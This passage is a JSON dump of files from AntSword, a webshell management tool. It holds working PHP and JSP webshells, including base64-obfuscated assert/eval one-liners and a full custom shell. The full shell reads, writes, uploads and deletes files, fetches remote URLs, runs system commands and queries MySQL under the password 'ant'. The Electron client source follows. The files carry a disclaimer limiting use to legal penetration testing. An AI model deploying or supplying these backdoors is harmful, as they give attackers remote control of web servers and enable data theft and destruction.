response.setContentType(\"text/html\");\n        response.setCharacterEncoding(cs);\n        StringBuffer sb = new StringBuffer(\"\");\n        try {\n            String funccode = EC(request.getParameter(Pwd) + \"\");\n            String z0 = decode(EC(request.getParameter(\"z0\")+\"\"), encoder);\n            String z1 = decode(EC(request.getParameter(\"z1\") + \"\"), encoder);\n            String z2 = decode(EC(request.getParameter(\"z2\") + \"\"), encoder);\n            String z3 = decode(EC(request.getParameter(\"z3\") + \"\"), encoder);\n            String[] pars = { z0, z1, z2, z3};\n            sb.append(\"->\" + \"|\");\n\n            if (funccode.equals(\"B\")) {\n                sb.append(FileTreeCode(pars[1]));\n            } else if (funccode.equals(\"C\")) {\n                sb.append(ReadFileCode(pars[1]));\n            } else if (funccode.equals(\"D\")) {\n                sb.append(WriteFileCode(pars[1], pars[2]));\n            } else if (funccode.equals(\"E\")) {\n                sb.append(DeleteFileOrDirCode(pars[1]));\n            } else if (funccode.equals(\"F\")) {\n                DownloadFileCode(pars[1], response);\n            } else if (funccode.equals(\"U\")) {\n                sb.append(UploadFileCode(pars[1], pars[2]));\n            } else if (funccode.equals(\"H\")) {\n                sb.append(CopyFileOrDirCode(pars[1], pars[2]));\n            } else if (funccode.equals(\"I\")) {\n                sb.append(RenameFileOrDirCode(pars[1], pars[2]));\n            } else if (funccode.equals(\"J\")) {\n                sb.append(CreateDirCode(pars[1]));\n            } else if (funccode.equals(\"K\")) {\n                sb.append(ModifyFileOrDirTimeCode(pars[1], pars[2]));\n            } else if (funccode.equals(\"L\")) {\n                sb.append(WgetCode(pars[1], pars[2]));\n            } else if (funccode.equals(\"M\")) {\n                sb.append(ExecuteCommandCode(pars[1], pars[2]));\n            } else if (funccode.equals(\"N\")) {\n                sb.append(showDatabases(pars[0], pars[1]));\n            } else if (funccode.equals(\"O\")) {\n                sb.append(showTables(pars[0], pars[1], pars[2]));\n            } else if (funccode.equals(\"P\")) {\n                sb.append(showColumns(pars[0], pars[1], pars[2], pars[3]));\n            } else if (funccode.equals(\"Q\")) {\n                sb.append(query(pars[0], pars[1], pars[2]));\n            } else if (funccode.equals(\"A\")) {\n                sb.append(SysInfoCode(request));\n            }\n        } catch (Exception e) {\n            sb.append(\"ERROR\" + \"://\" + e.toString());\n        }\n        sb.append(\"|\" + \"<-\");\n        out.print(sb.toString());\n    ]]>\n    </jsp:scriptlet>\n</jsp:root>"
  },
  {
    "path": "antSword/shells/php_assert_script.php",
    "content": "<?php \n/**\n*              _   ____                       _\n*   __ _ _ __ | |_/ ___|_      _____  _ __ __| |\n*  / _` | '_ \\| __\\___ \\ \\ /\\ / / _ \\| '__/ _` |\n* | (_| | | | | |_ ___) \\ V  V / (_) | | | (_| |\n*  \\__,_|_| |_|\\__|____/ \\_/\\_/ \\___/|_|  \\__,_|\n* ———————————————————————————————————————————————\n*     AntSword PHP assert Script\n* \n*     警告：\n*         此脚本仅供合法的渗透测试以及爱好者参考学习\n*          请勿用于非法用途，否则将追究其相关责任！\n* ———————————————————————————————————————————————\n* pwd=ant\n*/\n$ant=base64_decode(\"YXNzZXJ0\");\n$ant($_POST['ant']);\n?>"
  },
  {
    "path": "antSword/shells/php_create_function_script.php",
    "content": "<?php \n/**\n*              _   ____                       _\n*   __ _ _ __ | |_/ ___|_      _____  _ __ __| |\n*  / _` | '_ \\| __\\___ \\ \\ /\\ / / _ \\| '__/ _` |\n* | (_| | | | | |_ ___) \\ V  V / (_) | | | (_| |\n*  \\__,_|_| |_|\\__|____/ \\_/\\_/ \\___/|_|  \\__,_|\n* ———————————————————————————————————————————————\n*     AntSword PHP Create_Function Script\n* \n*     警告：\n*         此脚本仅供合法的渗透测试以及爱好者参考学习\n*          请勿用于非法用途，否则将追究其相关责任！\n* ———————————————————————————————————————————————\n*  pwd = ant\n*/\n$ant=create_function(\"\", base64_decode('QGV2YWwoJF9QT1NUWyJhbnQiXSk7'));\n$ant();\n?>"
  },
  {
    "path": "antSword/shells/php_custom_script_for_mysql.php",
    "content": "<?php\n/**\n*              _   ____                       _\n*   __ _ _ __ | |_/ ___|_      _____  _ __ __| |\n*  / _` | '_ \\| __\\___ \\ \\ /\\ / / _ \\| '__/ _` |\n* | (_| | | | | |_ ___) \\ V  V / (_) | | | (_| |\n*  \\__,_|_| |_|\\__|____/ \\_/\\_/ \\___/|_|  \\__,_|\n* ———————————————————————————————————————————————\n*     AntSword PHP Custom Script for Mysql\n* \n*     警告：\n*         此脚本仅供合法的渗透测试以及爱好者参考学习\n*          请勿用于非法用途，否则将追究其相关责任！\n* ———————————————————————————————————————————————\n*\n* 使用说明：\n*  1. AntSword >= v1.1-dev\n*  2. 创建 Shell 时选择 custom 模式连接\n*  3. 数据库连接：\n*    <H>localhost</H>\n*    <U>root</U>\n*    <P>123456</P>\n*\n*  4. 本脚本中 encoder 与 AntSword 添加 Shell 时选择的 encoder 要一致，如果选择 default 则需要将 encoder 值设置为空\n*\n* ChangeLog:\n*   Data: 2016/05/13 v1.1\n*    1. 执行 DML 语句，显示执行状态\n*\n*   Date: 2016/04/06 v1.0\n*    1. 文件系统 和 terminal 管理\n*    2. mysql 数据库支持\n*    3. 支持 base64 和 hex 编码\n**/\n\n$pwd = \"ant\"; //连接密码\n//数据编码 3 选 1\n$encoder = \"\"; // default\n// $encoder = \"base64\"; //base64\n// $encoder = \"hex\"; // hex\n$cs = \"UTF-8\";\n\n/**\n* 字符编码处理\n**/\nfunction EC($s){\n    global $cs;\n    $sencode = mb_detect_encoding($s, array(\"ASCII\",\"UTF-8\",\"GB2312\",\"GBK\",'BIG5')); \n    $ret = \"\";\n    try {\n        $ret = mb_convert_encoding($s, $cs, $sencode);\n    } catch (Exception $e) {\n        try {\n            $ret = iconv($sencode, $cs, $s);    \n        } catch (Exception $e) {\n            $ret = $s;\n        }\n    }\n    return $ret;\n}\n/*传输解码*/\nfunction decode($s){\n    global $encoder;\n    $ret = \"\";\n    switch ($encoder) {\n        case 'base64':\n            $ret = base64_decode($s);\n            break;\n        case 'hex':\n            for ($i=0; $i < strlen($s)-1; $i+=2) { \n                $output = substr($s, $i, 2);\n                $decimal = intval($output, 16);\n                $ret .= chr($decimal);\n            }\n            break;\n        default:\n            $ret = $s;\n            break;\n    }\n    return $ret;\n}\nfunction showDatabases($encode, $conf){\n    $sql = \"show databases\";\n    $columnsep = \"\\t\";\n    $rowsep = \"\";\n    return executeSQL($encode, $conf, $sql, $columnsep, $rowsep, false);\n}\nfunction showTables($encode, $conf, $dbname){\n    $sql = \"show tables from \".$dbname; // mysql\n    $columnsep = \"\\t\";\n    $rowsep = \"\";\n    return executeSQL($encode, $conf, $sql, $columnsep, $rowsep, false);\n}\n\nfunction showColumns($encode, $conf, $dbname, $table){\n    $columnsep = \"\\t\";\n    $rowsep = \"\";\n    $sql = \"select * from \".$dbname.\".\".$table.\" limit 0,0\"; // mysql\n    return executeSQL($encode, $conf, $sql, $columnsep, $rowsep, true);\n}\n\nfunction query($encode, $conf, $sql){\n    $columnsep = \"\\t|\\t\"; // general\n    $rowsep = \"\\r\\n\";\n    return executeSQL($encode, $conf, $sql, $columnsep, $rowsep, true);\n}\n\nfunction executeSQL($encode, $conf, $sql, $columnsep, $rowsep, $needcoluname){\n    $ret = \"\";\n    $m=get_magic_quotes_gpc();\n    if ($m) {\n        $conf = stripslashes($conf);\n    }\n    $conf = (EC($conf));\n\n    /*\n    <H>localhost</H>\n    <U>root</U>\n    <P>root</P>\n    */\n    $host=\"\";\n    $user=\"\";\n    $password=\"\";\n    if (preg_match('/<H>(.+?)<\\/H>/i', $conf, $data)) {\n        $host = $data[1];    \n    }\n    if (preg_match('/<U>(.+?)<\\/U>/i', $conf, $data)) {\n        $user = $data[1];    \n    }\n    if (preg_match('/<P>(.+?)<\\/P>/i', $conf, $data)) {\n        $password = $data[1];    \n    }\n    $encode = decode(EC($encode));\n    $conn = @mysqli_connect($host, $user, $password);\n    $res = @mysqli_query($conn, $sql);\n    if (is_bool($res)) {\n        return \"Status\".$columnsep.$rowsep.($res?\"True\":\"False\").$columnsep.$rowsep;\n    }\n    $i=0;\n    if ($needcoluname) {\n        while ($col=@mysqli_fetch_field($res)) {\n            $ret .= $col->name.$columnsep;\n            $i++;\n        }\n        $ret .= $rowsep;\n    }\n    while($rs=@mysqli_fetch_row($res)){\n        for($c = 0; $c <= $i; $c++){\n            $ret .= trim($rs[$c]).$columnsep;\n        }\n        $ret.=$rowsep;\n    }\n    return $ret;\n}\n\nfunction BaseInfo(){\n    $D=dirname($_SERVER[\"SCRIPT_FILENAME\"]);\n    if($D==\"\"){\n        $D=dirname($_SERVER[\"PATH_TRANSLATED\"]);\n    }\n    $R=\"{$D}\\t\";\n    if(substr($D,0,1)!=\"/\"){\n        foreach(range(\"C\",\"Z\")as $L)\n            if(is_dir(\"{$L}:\"))\n                $R.=\"{$L}:\";\n    }else{\n        $R.=\"/\";\n    }\n    $R.=\"\\t\";\n    $u=(function_exists(\"posix_getegid\"))?@posix_getpwuid(@posix_geteuid()):\"\";\n    $s=($u)?$u[\"name\"]:@get_current_user();\n    $R.=php_uname();\n    $R.=\"\\t{$s}\";\n    return $R;\n}\nfunction FileTreeCode($D){\n    $ret = \"\";\n    $F=@opendir($D);\n    if($F==NULL){\n        $ret = \"ERROR:// Path Not Found Or No Permission!\";\n    }else{\n        $M=NULL;\n        $L=NULL;\n        while($N=@readdir($F)){\n            $P=$D.\"/\".$N;\n            $T=@date(\"Y-m-d H:i:s\",@filemtime($P));\n            @$E=substr(base_convert(@fileperms($P),10,8),-4);\n            $R=\"\\t\".$T.\"\\t\".@filesize($P).\"\\t\".$E.\"\\n\";\n            if(@is_dir($P))\n                $M.=$N.\"/\".$R;\n            else\n                $L.=$N.$R;\n        }\n        $ret .= $M.$L;\n        @closedir($F);\n    }\n    return $ret;\n}\n\nfunction ReadFileCode($F){\n    $ret = \"\";\n    try {\n        $P = @fopen($F,\"r\");\n        $ret = (@fread($P,filesize($F)));\n        @fclose($P);\n    } catch (Exception $e) {\n        $ret = \"ERROR://\".$e;\n    }\n    return $ret;\n}\nfunction WriteFileCode($path, $content){\n    return @fwrite(fopen(($path),\"w\"),($content))?\"1\":\"0\";\n}\nfunction DeleteFileOrDirCode($fileOrDirPath){\n    function df($p){\n        $m=@dir($p);\n        while(@$f=$m->read()){\n            $pf=$p.\"/\".$f;\n            if((is_dir($pf))&&($f!=\".\")&&($f!=\"..\")){\n                @chmod($pf,0777);\n                df($pf);\n            }\n            if(is_file($pf)){\n                @chmod($pf,0777);\n                @unlink($pf);\n            }\n        }\n        $m->close();\n        @chmod($p,0777);\n        return @rmdir($p);\n    }\n    $F=(get_magic_quotes_gpc()?stripslashes($fileOrDirPath):$fileOrDirPath);\n    if(is_dir($F)){\n        return (df($F));\n    }\n    else{\n        return (file_exists($F)?@unlink($F)?\"1\":\"0\":\"0\");\n    }\n}\n\nfunction DownloadFileCode($filePath){\n    $F=(get_magic_quotes_gpc()?stripslashes($filePath):$filePath);\n    $fp=@fopen($F,\"r\");\n    if(@fgetc($fp)){\n        @fclose($fp);\n        @readfile($F);\n    }else{\n        echo(\"ERROR:// Can Not Read\");\n    }\n}\nfunction UploadFileCode($path, $content){\n    $f=$path;\n    $c=$content;\n    $c=str_replace(\"\\r\",\"\",$c);\n    $c=str_replace(\"\\n\",\"\",$c);\n    $buf=\"\";\n    for($i=0;$i<strlen($c);$i+=2)\n        $buf.=urldecode(\"%\".substr($c,$i,2));\n    return (@fwrite(fopen($f,\"a\"),$buf)?\"1\":\"0\");\n}\nfunction CopyFileOrDirCode($path, $content){\n    $m=get_magic_quotes_gpc();\n    $fc=($m?stripslashes($path):$path);\n    $fp=($m?stripslashes($content):$content);\n    function xcopy($src,$dest){\n        if(is_file($src)){\n            if(!copy($src,$dest))\n                return false;\n            else\n                return true;\n        }\n        $m=@dir($src);\n        if(!is_dir($dest))\n            if(!@mkdir($dest))\n                return false;\n        while($f=$m->read()){\n            $isrc=$src.chr(47).$f;\n            $idest=$dest.chr(47).$f;\n            if((is_dir($isrc))&&($f!=chr(46))&&($f!=chr(46).chr(46))){\n                if(!xcopy($isrc,$idest))return false;\n            }else if(is_file($isrc)){\n                if(!copy($isrc,$idest))\n                    return false;\n            }\n        }\n        return true;\n    }\n    return (xcopy($fc,$fp)?\"1\":\"0\");\n}\n\nfunction RenameFileOrDirCode($oldName, $newName){\n    $m=get_magic_quotes_gpc();\n    $src=(m?stripslashes($oldName):$oldName);\n    $dst=(m?stripslashes($newName):$newName);\n    return (rename($src,$dst)?\"1\":\"0\");\n}\nfunction CreateDirCode($name){\n    $m=get_magic_quotes_gpc();\n    $f=($m?stripslashes($name):$name);\n    return (mkdir($f)?\"1\":\"0\");\n}\nfunction ModifyFileOrDirTimeCode($fileOrDirPath, $newTime){\n    $m=get_magic_quotes_gpc();\n    $FN=(m?stripslashes($fileOrDirPath):$fileOrDirPath);\n    $TM=strtotime((m?stripslashes($newTime):$newTime));\n    if(file_exists($FN)){\n        return (@touch($FN,$TM,$TM)?\"1\":\"0\");\n    }else{\n        return (\"0\");\n    }\n}\n\nfunction WgetCode($urlPath, $savePath){\n    $fR=$urlPath;\n    $fL=$savePath;\n    $F=@fopen($fR,chr(114));\n    $L=@fopen($fL,chr(119));\n    if($F && $L){\n        while(!feof($F))\n            @fwrite($L,@fgetc($F));\n        @fclose($F);\n        @fclose($L);\n        return \"1\";\n    }else{\n        return \"0\";\n    }\n}\n\nfunction ExecuteCommandCode($cmdPath, $command){\n    $p=$cmdPath;\n    $s=$command;\n    $d=dirname($_SERVER[\"SCRIPT_FILENAME\"]);\n    $c=substr($d,0,1)==\"/\"?\"-c \\\"{$s}\\\"\":\"/c \\\"{$s}\\\"\";\n    $r=\"{$p} {$c}\";\n    @system($r.\" 2>&1\",$ret);\n    return ($ret!=0)?\"ret={$ret}\":\"\";\n}\n\n@ini_set(\"display_errors\", \"0\");\n@set_time_limit(0);\n@set_magic_quotes_runtime(0);\n\n$funccode = EC($_REQUEST[$pwd]);\n$z0 = decode(EC($_REQUEST['z0']));\n$z1 = decode(EC($_REQUEST['z1']));\n$z2 = decode(EC($_REQUEST['z2']));\n$z3 = decode(EC($_REQUEST['z3']));\n\n// echo \"<meta HTTP-EQUIV=\\\"csontent-type\\\" content=\\\"text/html; charset={$cs}\\\">\";\necho \"->\".\"|\";\n$ret = \"\";\ntry {\n    switch ($funccode) {\n        case 'A':\n            $ret = BaseInfo();\n            break;\n        case 'B':\n            $ret = FileTreeCode($z1);\n            break;\n        case 'C':\n            $ret = ReadFileCode($z1);\n            break;\n        case 'D':\n            $ret = WriteFileCode($z1, $z2);\n            break;\n        case 'E':\n            $ret = DeleteFileOrDirCode($z1);\n            break;\n        case 'F':\n            DownloadFileCode($z1);\n            break;\n        case 'U':\n            $ret = UploadFileCode($z1, $z2);\n            break;\n        case 'H':\n            $ret = CopyFileOrDirCode($z1, $z2);\n            break;\n        case 'I':\n            $ret = RenameFileOrDirCode($z1, $z2);\n            break;\n        case 'J':\n            $ret = CreateDirCode($z1);\n            break;\n        case 'K':\n            $ret = ModifyFileOrDirTimeCode($z1, $z2);\n            break;\n        case 'L':\n            $ret = WgetCode($z1, $z2);\n            break;\n        case 'M':\n            $ret = ExecuteCommandCode($z1, $z2);\n            break;\n        case 'N':\n            $ret = showDatabases($z0, $z1);\n            break;\n        case 'O':\n            $ret = showTables($z0, $z1, $z2);\n            break;\n        case 'P':\n            $ret = showColumns($z0, $z1, $z2, $z3);\n            break;\n        case 'Q':\n            $ret = query($z0, $z1, $z2);\n            break;\n        default:\n            // $ret = \"Wrong Password\";\n            break;\n    }\n} catch (Exception $e) {\n    $ret = \"ERROR://\".$e;\n}\necho $ret;\necho \"|\".\"<-\";\n?>"
  },
  {
    "path": "antSword/source/app.entry.js",
    "content": "/**\n * 中国蚁剑::程序入口\n * 创建：2015/12/20\n * 更新：2016/05/02\n * 作者：蚁逅 <https://github.com/antoor>\n */\n\n'use strict';\n\nconst fs = require('fs'),\n  path = require('path'),\n  electron = require('electron'),\n  shell = electron.shell,\n  remote = electron.remote,\n  ipcRenderer = electron.ipcRenderer;\n\nconst Menubar = require('./base/menubar');\nconst CacheManager = require('./base/cachemanager');\n\nconst antSword = window.antSword = {\n  /**\n   * XSS过滤函数\n   * @param  {String}  html 过滤前字符串\n   * @param  {Boolean} wrap 是否过滤换行\n   * @return {String}       过滤后的字符串\n   */\n  noxss: (html = '', wrap = true) => {\n    let _html = String(html)\n      .replace(/&/g, \"&amp;\")\n      .replace(/>/g, \"&gt;\")\n      .replace(/</g, \"&lt;\")\n      .replace(/\"/g, \"&quot;\");\n    if (wrap) {\n      _html = _html.replace(/\\n/g, '<br/>');\n    }\n    return _html;\n  },\n  /**\n   * 终端日志数据\n   * @type {Array}\n   */\n  logs: [],\n  /**\n   * 自定义编码器\n   * @type {Object}\n   */\n  encoders: {},\n  /**\n   * 核心模块\n   * @type {Object}\n   */\n  core: {},\n  /**\n   * 插件列表\n   * @type {Object}\n   */\n  plugins: {},\n  /**\n   * 操作模块\n   * @type {Object}\n   */\n  modules: {},\n  /**\n   * localStorage存储API\n   * ? 如果只有一个key参数，则返回内容，否则进行设置\n   * @param  {String} key   存储键值，必选\n   * @param  {String} value 存储内容，可选\n   * @param  {String} def   默认内容，可选\n   * @return {None}       [description]\n   */\n  storage: (key, value, def) => {\n    // 读取\n    if (!value) {\n      return localStorage.getItem(key) || def;\n    };\n    if (typeof(x) === \"object\")\n      value = JSON.stringify(value);\n    // 设置\n    localStorage.setItem(key, value);\n  },\n  /**\n   * 重新加载插件（包含开发者&&本地插件库\n   * @return {[type]} [description]\n   */\n  reloadPlug() {\n    antSword['plugins'] = {};\n    // 加载插件：：本地\n    let pluginHome = ipcRenderer.sendSync('store-config-plugPath');\n    fs.readdirSync(pluginHome).map((_) => {\n      let pluginPath = path.join(pluginHome, _);\n      // 如果不是目录，则跳过\n      if (!fs.lstatSync(pluginPath).isDirectory()) { return }\n      // 存储路径&&package信息到全局变量antSword['plugins']\n      antSword['plugins'][_] = {\n        _id: _,\n        path: pluginPath,\n        info: JSON.parse(fs.readFileSync(path.join(pluginPath, 'package.json')))\n      }\n    });\n    // 加载插件：：开发\n    let devPlugPath = antSword.storage('dev-plugPath');\n    if (\n      antSword.storage('isDev') === '1' &&\n      fs.existsSync(devPlugPath) &&\n      fs.lstatSync(devPlugPath).isDirectory()\n    ) {\n      fs.readdirSync(devPlugPath).map((_) => {\n        let _path = path.join(devPlugPath, _);\n        // 如果不是目录，则跳过\n        if (!fs.lstatSync(_path).isDirectory()) { return }\n        antSword['plugins'][_] = {\n          _id: _,\n          path: _path,\n          info: JSON.parse(fs.readFileSync(path.join(_path, 'package.json')))\n        }\n      });\n    }\n  }\n};\n\n// 加载核心模板\nantSword['core'] = require('./core/');\n\n// 加载语言模板\nantSword['language'] = require('./language/');\n\n// 加载编码\nantSword['encoders'] = (function(){\n  var encoders = {asp:[],aspx:[],php:[],custom:[]};\n  var encoders_path = {asp:[],aspx:[],php:[],custom:[]};\n  let userencoder_path = path.join(process.env.AS_WORKDIR,'antData/encoders');\n  // 初始化\n  !fs.existsSync(userencoder_path) ? fs.mkdirSync(userencoder_path) : null;\n  ['asp','aspx','php','custom'].map((t)=>{\n    !fs.existsSync(path.join(userencoder_path, `${t}`))? fs.mkdirSync(path.join(userencoder_path, `${t}`)):null;\n    let t_path = path.join(userencoder_path, `${t}/encoder/`);\n    !fs.existsSync(t_path) ? fs.mkdirSync(t_path) : null;\n\n    let es = fs.readdirSync(t_path);\n    if(es){\n      es.map((_)=>{\n        if(!_.endsWith(\".js\")){\n          return\n        }\n        encoders[t].push(_.slice(0,-3));\n        encoders_path[t].push(path.join(t_path, _.slice(0,-3)));\n      });\n    }\n    antSword[\"core\"][t].prototype.user_encoders = encoders_path[t];\n  });\n\n  // // custom\n  // let es = fs.readdirSync(userencoder_path);\n  // if(es){\n  //   es.map((_)=>{\n  //     console.log(_);\n  //     let farr = _.split(\"#\");\n  //     encoders[farr[0]].push(farr[1].slice(0,-3));\n  //   });\n  // }\n  // default\n  // ['asp','aspx','php','custom'].map((t)=>{\n  //   antSword[\"core\"][t].prototype.encoders.map((e)=>{\n  //     encoders[t].push(e);\n  //   });\n  //   encoders[t] = encoders[t].unique();\n  // });\n  // fs.readdirSync(path.join(process.env.AS_WORKDIR,'encoder'),(err,f) => {\n  //   if(err || !f) return ;\n  //   console.debug(f);\n  //   let farr = f.split(\"#\");\n  //   encoders[farr[0]].push(farr[1]);\n  // });\n  return encoders;\n})();\n\n// 加载代理\nconst aproxy = {\n  mode: antSword['storage']('aproxymode', false, 'noproxy'),\n  port: antSword['storage']('aproxyport'),\n  server: antSword['storage']('aproxyserver'),\n  password: antSword['storage']('aproxypassword'),\n  username: antSword['storage']('aproxyusername'),\n  protocol: antSword['storage']('aproxyprotocol')\n}\nantSword['aproxymode'] = aproxy['mode'];\n\nantSword['aproxyauth'] = (\n  !aproxy['username'] || !aproxy['password']\n) ? '' : `${aproxy['username']}:${aproxy['password']}`;\n\nantSword['aproxyuri'] = `${aproxy['protocol']}:\\/\\/${antSword['aproxyauth']}@${aproxy['server']}:${aproxy['port']}`;\n\n// 通知后端设置代理\nipcRenderer.send('aproxy', {\n  aproxymode: antSword['aproxymode'],\n  aproxyuri: antSword['aproxyuri']\n});\n\nantSword['shell'] = shell;\nantSword['remote'] = remote;\nantSword['ipcRenderer'] = ipcRenderer;\nantSword['CacheManager'] = CacheManager;\nantSword['menubar'] = new Menubar();\nantSword['package'] = require('../package');\n\n// 加载模块列表\nantSword['tabbar'] = new dhtmlXTabBar(document.body);\n[\n  'shellmanager',\n  'settings',\n  'plugin'\n].map((_) => {\n  let _module = require(`./modules/${_}/`);\n  antSword['modules'][_] = new _module();\n});\n// 移除加载界面&&设置标题\n$('#loading').remove();\ndocument.title = antSword['language']['title'] || 'AntSword';\n\n\n/**\n * 日志组输出\n * - 日志只会输出最多100个字符，如果想查看全部数据，则可以通过antSword.logs[id]进行查看\n * @param  {Object} opt   日志对象[0=日志，1=对象]\n * @param  {String} color 输出颜色\n * @return {[type]}       [description]\n */\nconst groupLog = (opt, color) => {\n  if (antSword.logs.length % 10 === 0) {\n    console.group(`LOGS: ${antSword.logs.length}+`);\n  }\n  let lineNum = antSword['logs'].push(opt[1]) - 1;\n  console.log(\n    `%c0x${lineNum < 10 ? '0' + lineNum : lineNum}\\t${opt[0].substr(0, 100) + (opt[0].length > 100 ? '..' : '')}`,\n    `color:${color}`\n  );\n  if (antSword.logs.length % 10 === 0) {\n    console.groupEnd();\n  }\n}\n\n// 监听后端消息\nipcRenderer\n  /**\n   * 刷新UI（shellmanager侧边栏\n   * @param  {[type]} 'reloadui' [description]\n   * @param  {[type]} (          [description]\n   * @return {[type]}            [description]\n   */\n  .on('reloadui', () => {\n    setTimeout(() => {\n      antSword.modules.shellmanager.category.cell.setWidth(222);\n    }, 555);\n  })\n  /**\n   * 通知提示更新\n   * @param  {[type]} 'notification-update' [description]\n   * @param  {[type]} (e,                   opt           [description]\n   * @return {[type]}                       [description]\n   */\n  .on('notification-update', (e, opt) => {\n    const LANG = antSword[\"language\"][\"settings\"][\"update\"];\n    let n = new Notification(antSword['language']['update']['title'], {\n      body: antSword['language']['update']['body'](opt['ver'])\n    });\n    n.addEventListener('click', () => {\n      antSword.shell.openExternal(opt['url']);\n    });\n    const WIN = require('ui/window');\n    let win = new WIN({\n      title: antSword['language']['update']['title'],\n      height:130,\n      width:280\n    });\n    win.win.setIconCss(\"update-winicon\");\n    win.win.button(\"minmax\").hide();\n    win.win.denyResize();\n    let uplayout = win.win.attachLayout('1C');\n    uplayout.cells('a').hideHeader();\n\n    let formdata = [\n    {type:\"label\" , name:\"form_msg\", label:LANG[\"prompt\"][\"body\"](opt['ver']), offsetLeft: 5},\n    {type: \"block\", list:[\n      {type:\"button\" , name:\"updatebtn\", value: `<i class=\"fa fa-cloud-download\"></i> ${LANG[\"prompt\"][\"btns\"][\"ok\"]}`, className:\"background-color: #39c;\"},\n      {type:\"newcolumn\", offset:15},\n      {type:\"button\" , name:\"canclebtn\", value: `${LANG[\"prompt\"][\"btns\"][\"no\"]}`},\n      ]\n    }];\n    uplayout.cells('a').attachForm(formdata, true);\n    win.win.attachEvent('onParkUp', () => {\n      win.win.setPosition(document.body.clientWidth-300,document.body.clientHeight-150);\n      return true;\n    });\n    win.win.attachEvent('onParkDown', () =>{\n      win.win.centerOnScreen();\n      return true;\n    });\n    const form = uplayout.cells('a').attachForm(formdata, true);\n    form.attachEvent(\"onButtonClick\", (name)=>{\n      switch (name) {\n        case \"updatebtn\":\n          const hash = (String(+new Date) + String(Math.random())).substr(10, 10).replace('.', '_');\n          //折叠\n          win.win.park();\n          antSword.ipcRenderer.send(\"update-download\", {hash: hash});\n          win.win.progressOn();\n          win.setTitle(LANG[\"message\"][\"prepare\"]);\n          antSword['ipcRenderer']\n            .on(`update-dlprogress-${hash}`, (event, progress)=>{\n              win.setTitle(LANG[\"message\"][\"dling\"](progress));\n            })\n            .once(`update-dlend-${hash}`,(event)=>{\n              win.setTitle(LANG[\"message\"][\"dlend\"]);\n              win.win.progressOff();\n              toastr.success(antSword[\"language\"][\"success\"], LANG[\"message\"][\"extract\"]);\n            })\n            .once(`update-error-${hash}`, (event, err)=>{\n              toastr.error(antSword[\"language\"]['error'], LANG[\"message\"][\"fail\"](err));\n              win.win.progressOff();\n              win.close();\n            });\n          break;\n        case \"canclebtn\":\n          win.close();\n          break;\n      }\n    });\n  })\n  .on('update-success', (e, opt)=>{\n    const LANG = antSword['language']['settings']['update'];\n    toastr.success(antSword[\"language\"][\"success\"], LANG[\"message\"][\"success\"]);\n    layer.confirm(LANG['message']['success'], {\n      icon: 1, shift: 6,\n      title: LANG['prompt']['title']\n    }, (_) => {\n      // location.reload();\n      antSword.remote.app.quit();\n    });\n  })\n  /**\n   * 重新加载本地插件\n   * @param  {[type]} 'reloadPlug' [description]\n   * @param  {[type]} (            [description]\n   * @return {[type]}              [description]\n   */\n  .on('reloadPlug', antSword.reloadPlug.bind(antSword))\n  /**\n   * 后端日志输出\n   * + 用于在前端控制台输出后端的日志\n   * - 可使用`antSword.logs[id]`来获取详细日志\n   */\n  .on('logger-debug', (e, opt) => {\n    groupLog(opt, '#607D8B');\n  })\n  .on('logger-info', (e, opt) => {\n    groupLog(opt, '#4CAF50');\n  })\n  .on('logger-warn', (e, opt) => {\n    groupLog(opt, '#FF9800');\n  })\n  .on('logger-fatal', (e, opt) => {\n    groupLog(opt, '#E91E63');\n  });\n\nantSword.reloadPlug();\n// 检查更新\nsetTimeout(\n  antSword.ipcRenderer.send.bind(antSword.ipcRenderer, 'check-update'),\n  1000 * 60\n);\n"
  },
  {
    "path": "antSword/source/base/cachemanager.js",
    "content": "//\n// 缓存操作模块\n//\n'use strict';\n\nclass CacheManager {\n\n  constructor(id) {\n    this.id = id;\n    this.sender = antSword['ipcRenderer'].sendSync;\n  }\n\n  // 获取缓存\n  get(tag) {\n    const ret = this.sender('cache-get', {\n      id: this.id,\n      tag: tag\n    });\n    return ret ? ret['cache'] : false;\n  }\n\n  // 更新缓存\n  set(tag, cache) {\n    return this.sender('cache-add', {\n      id: this.id,\n      tag: tag,\n      cache: cache\n    });\n  }\n\n  // 删除缓存\n  del(tag) {\n    return this.sender('cache-del', {\n      id: this.id,\n      tag: tag\n    });\n  }\n\n  // 清空缓存\n  clear() {\n    return this.sender('cache-clear', {\n      id: this.id\n    });\n  }\n\n}\n\nmodule.exports = CacheManager;\n"
  },
  {
    "path": "antSword/source/base/encodes.js",
    "content": "//\n// 默认支持编码列表\n//\n\nconst ENCODES = [\n  'GBK',\n  'UTF8',\n  'BIG5',\n  'GB2312',\n  'Euc-KR',\n  'Euc-JP',\n  'Shift_JIS',\n  'ISO-8859-1',\n  'Windows-874',\n  'Windows-1251'\n];\nmodule.exports = ENCODES;\n"
  },
  {
    "path": "antSword/source/base/menubar.js",
    "content": "//\n// 前端菜单交互模块\n//\n\nclass Menubar {\n\n  constructor() {\n    this.events = {};\n    // 加载菜单栏\n    antSword['ipcRenderer'].send('menubar', antSword['language']['menubar']);\n    // 菜单栏事件\n    /*\n      如何注册菜单栏点击事件？\n      antSword['menubar'].reg('command', () => {});\n    */\n    antSword['ipcRenderer'].on('menubar', (event, argv) => {\n      let cmd = '';\n      let arg = '';\n      if (argv instanceof Array && argv.length === 2) {\n        cmd = argv[0];\n        arg = argv[1];\n      }else{\n        cmd = argv;\n      }\n      switch(cmd) {\n        case 'tabbar-next':\n          antSword['tabbar'].goToNextTab();\n          break;\n        case 'tabbar-prev':\n          antSword['tabbar'].goToPrevTab();\n          break;\n        case 'tabbar-close':\n          const tab = antSword['tabbar'].getActiveTab();\n          if (tab === 'tab_shellmanager') { return };\n          antSword['tabbar'].tabs(tab).close();\n          break;\n        default:\n          // 检测是否有注册事件？执行注册事件：忽略\n          let caller = this.events[cmd];\n          if (caller instanceof Function) { caller() };\n      }\n    });\n  }\n\n  reg(name, event) {\n    this['events'][name] = event;\n  }\n\n  run(name) {\n    this['events'][name]();\n  }\n\n}\n\nmodule.exports = Menubar;\n"
  },
  {
    "path": "antSword/source/core/README.md",
    "content": "## 中国蚁剑核心模块1.0\n> 开写：2016/04/12\n> 更新：2016/04/24\n\n`AntSword-Core`是中国蚁剑中最核心的一个模块，它的作用在于根据模板进行自由地增加修改HTTP请求数据，然后返回给用户最终生成的HTTP包数据。    \n这样用户就能将它集成在任意支持的地方了。\n\n## 模块所需参数\n| 参数名 | 说明 |\n| :---- | :--- |\n| pwd | shell连接密码（必选 |\n| encode | 数据编码格式（可选，默认utf8 |\n| encoder | 脚本模块编码器（可选，默认default |\n"
  },
